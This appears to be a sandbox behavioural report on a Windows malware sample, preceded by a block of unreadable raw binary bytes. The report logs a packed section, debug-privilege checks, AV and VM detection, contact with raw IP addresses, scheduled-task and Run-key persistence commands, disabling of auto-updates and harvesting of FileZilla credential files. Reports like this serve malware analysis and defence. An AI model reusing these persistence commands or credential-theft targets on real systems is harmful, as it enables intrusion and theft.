uÀÂîsïþüî: u7þýßH:Ju&þþÎH:Juþÿ½@:B±E0Guü;øõþÿÿ3ÿUþr/MèFÁþrIüÆ#+ÁÀüøVQè UÄEør'HÂùrRüÁ#+ÂÀüøw`QRèÏÄU4ÇEÇEÆEúr3M BÁúrIüÂ#+ÁÀüøwë uüGéWÿÿÿRQèÄÇ_^[å]Ãè Eè«ÌÌÌÌÌÌÌÌÌÌÌUìQS]Vñ]üWjhÀ>ÇFÇFÆèD3ÿÛ~1}ECE8S¿C ú¶È¶ÃGÈ¶ÁÎPèG;}ü\|ÏUúr(MBÁúrIüÂ#+ÁÀüøwRQèÑÄ_Æ^[å]ÃèïDÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUìì0VWj$hÄ>MÐÇEàÇEäÆEÐèEÀu3öéÇ3ÿÀ¸ÇEøÇEüÆEè;ÇF+Ç¹;ÁBÈ}ECEQÇMèPèBìEÐÌPètìEèôìÌPèaÎèªþÿÿÄè¢üÿÿUüÄ0Àúr,MèBÁúrIüÂ#+ÁÀüø¹RQèÇÄEG;øHÿÿÿ¾Uäúr(MÐBÁúrIüÂ#+ÁÀüøwxRQèÄUúr^MBÁúrFIüÂ#+ÁÀüøwHë4úr(MèBÁúrIüÂ#+ÁÀüøw#RQè1Ä3öétÿÿÿRQè Ä_Æ^å]Ãè?CèJÌÌÌÌÌÌÌÌÌÌUìQEUMVÀS@WPè] ÄM}ØÓCM+ÑID ÿÀuóóNFÀuù+ñFVjÿðVøSWÿðPèÇ5ÄWÿðjÿñÿñWjÿñÿ ñUM_[^úr%BÁúrIüÂ#+ÁÀüøwRQèAÄå]ÃèdBÌÌÌÌUìì$SVWùjÇGÇGÆÿñÀj ÿ$ñØ]üÛlSÿðEôÀSjjjjjÿPjhéýÿððuøö.WN;ÊwOÇrÆëFGÙ+Ú+Â;Øw%ÇOrS4jVèE,ÆÄuøëQSÆEøÏÿuøSè¨]üÇrjjVPjÿÿuô request_handle: 0x00cc000c	1	1

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x000ee000', u'virtual_address': u'0x0000c000', u'entropy': 7.945314820353924, u'name': u'.rsrc', u'virtual_size': u'0x000ee000'}

entropy

7.94531482035

description

A section with a high entropy has been found

entropy

0.966988318944

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (5 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW March 5, 2023, 2:21 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 5, 2023, 2:22 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 5, 2023, 2:22 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 5, 2023, 2:22 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 5, 2023, 2:22 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Queries for potentially installed applications (50 out of 117 events)

Time & API	Arguments	Status
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall base_handle: 0x80000002 key_handle: 0x000003bc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: AddressBook base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: Connection Manager base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: DirectDrawEx base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: EditPlus base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: ENTERPRISE base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ENTERPRISE	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: Fontcore base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: Google Chrome base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: Haansoft HWord 80 Korean base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: IE40 base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE40	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: IE4Data base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: IE5BAKEX base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: IEData base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IEData	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: MobileOptionPack base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: SchedulingAgent base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: WIC base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WIC	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {01B845D4-B73E-4CF7-A377-94BC7BB4F77B} base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {1D91F7DA-F517-4727-9E62-B7EA978BE980} base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {60EC980A-BDA2-4CB6-A427-B07A5498B4CA} base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90120000-0015-0412-0000-0000000FF1CE} base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0015-0412-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90120000-0016-0412-0000-0000000FF1CE} base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0016-0412-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90120000-0018-0412-0000-0000000FF1CE} base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0018-0412-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90120000-0019-0412-0000-0000000FF1CE} base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0019-0412-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90120000-001A-0412-0000-0000000FF1CE} base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001A-0412-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90120000-001B-0412-0000-0000000FF1CE} base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001B-0412-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90120000-001F-0409-0000-0000000FF1CE} base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0409-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90120000-001F-0412-0000-0000000FF1CE} base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0412-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90120000-0028-0412-0000-0000000FF1CE} base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0028-0412-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90120000-002C-0412-0000-0000000FF1CE} base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-002C-0412-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90120000-0030-0000-0000-0000000FF1CE} base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0030-0000-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90120000-0044-0412-0000-0000000FF1CE} base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0044-0412-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90120000-006E-0409-0000-0000000FF1CE} base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0409-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90120000-006E-0412-0000-0000000FF1CE} base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0412-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90120000-00A1-0412-0000-0000000FF1CE} base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00A1-0412-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90120000-00BA-0409-0000-0000000FF1CE} base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00BA-0409-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90120000-0114-0412-0000-0000000FF1CE} base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0114-0412-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {939659F3-71D2-461F-B24D-91D05A4389B4} base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {9B84A461-3B4C-40E2-B44F-CE22E215EE40} base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {d992c12e-cab2-426f-bde3-fb8c53950b0d} base_handle: 0x000003bc key_handle: 0x000002d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall base_handle: 0x80000002 key_handle: 0x000002a0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: AddressBook base_handle: 0x000002a0 key_handle: 0x0000023c options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: Connection Manager base_handle: 0x000002a0 key_handle: 0x0000023c options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: DirectDrawEx base_handle: 0x000002a0 key_handle: 0x0000023c options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: EditPlus base_handle: 0x000002a0 key_handle: 0x0000023c options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: ENTERPRISE base_handle: 0x000002a0 key_handle: 0x0000023c options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ENTERPRISE	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: Fontcore base_handle: 0x000002a0 key_handle: 0x0000023c options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: Google Chrome base_handle: 0x000002a0 key_handle: 0x0000023c options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: Haansoft HWord 80 Korean base_handle: 0x000002a0 key_handle: 0x0000023c options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: IE40 base_handle: 0x000002a0 key_handle: 0x0000023c options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE40	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: IE4Data base_handle: 0x000002a0 key_handle: 0x0000023c options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data	1

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN ghaaer.exe /TR "C:\Users\test22\AppData\Local\Temp\5975271bda\ghaaer.exe" /F
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN ghaaer.exe /TR "C:\Users\test22\AppData\Local\Temp\5975271bda\ghaaer.exe" /F

Executes one or more WMI queries which can be used to identify virtual machines (1 event)

wmi	SELECT * FROM Win32_Processor

Communicates with host for which no DNS query was performed (3 events)

host	193.233.20.22
host	193.233.20.24
host	193.233.20.26

Attempts to identify installed AV products by installation directory (7 events)

file	C:\ProgramData\AVAST Software
file	C:\ProgramData\Avira
file	C:\ProgramData\Kaspersky Lab
file	C:\ProgramData\Panda Security
file	C:\ProgramData\Bitdefender
file	C:\ProgramData\AVG
file	C:\ProgramData\Doctor Web

Attempts to stop active services (2 events)

Time & API	Arguments	Status	Return	Repeated
ControlService March 5, 2023, 2:21 p.m.	service_handle: 0x000000001aa32c00 service_name: None control_code: 1		0	0
ControlService March 5, 2023, 2:21 p.m.	service_handle: 0x000000001aa32e40 service_name: None control_code: 1		0	0

Installs itself for autorun at Windows startup (12 events)

reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP000.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP001.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP002.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP003.TMP\"
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\serko4.exe	reg_value	C:\Users\test22\AppData\Local\Temp\1000005051\serko4.exe
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\mohta5.exe	reg_value	C:\Users\test22\AppData\Local\Temp\1000006051\mohta5.exe
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP001.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP002.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP003.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP004.TMP\"
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN ghaaer.exe /TR "C:\Users\test22\AppData\Local\Temp\5975271bda\ghaaer.exe" /F
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN ghaaer.exe /TR "C:\Users\test22\AppData\Local\Temp\5975271bda\ghaaer.exe" /F

Attempts to disable Windows Auto Updates (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\NoAutoUpdate

Harvests credentials from local FTP client softwares (2 events)

file	C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
file	C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml

Executes one or more WMI queries (8 events)

wmi	SELECT * FROM AntivirusProduct
wmi	SELECT * FROM Win32_VideoController
wmi	SELECT * FROM Win32_OperatingSystem
wmi	SELECT * FROM Win32_Process Where SessionId='1'
wmi	SELECT * FROM AntiSpyWareProduct
wmi	SELECT * FROM FirewallProduct
wmi	SELECT * FROM Win32_DiskDrive
wmi	SELECT * FROM Win32_Processor

Collects information about installed applications (50 out of 81 events)

Time & API	Arguments	Status
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: EditPlus regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Enterprise 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ENTERPRISE\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Chrome regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: HttpWatch Professional 9.3.39 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Google Update Helper regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Access MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0015-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Excel MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0016-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office PowerPoint MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0018-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Publisher MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0019-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Outlook MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001A-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Word MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001B-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proof (English) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0409-0000-0000000FF1CE}\DisplayName	1
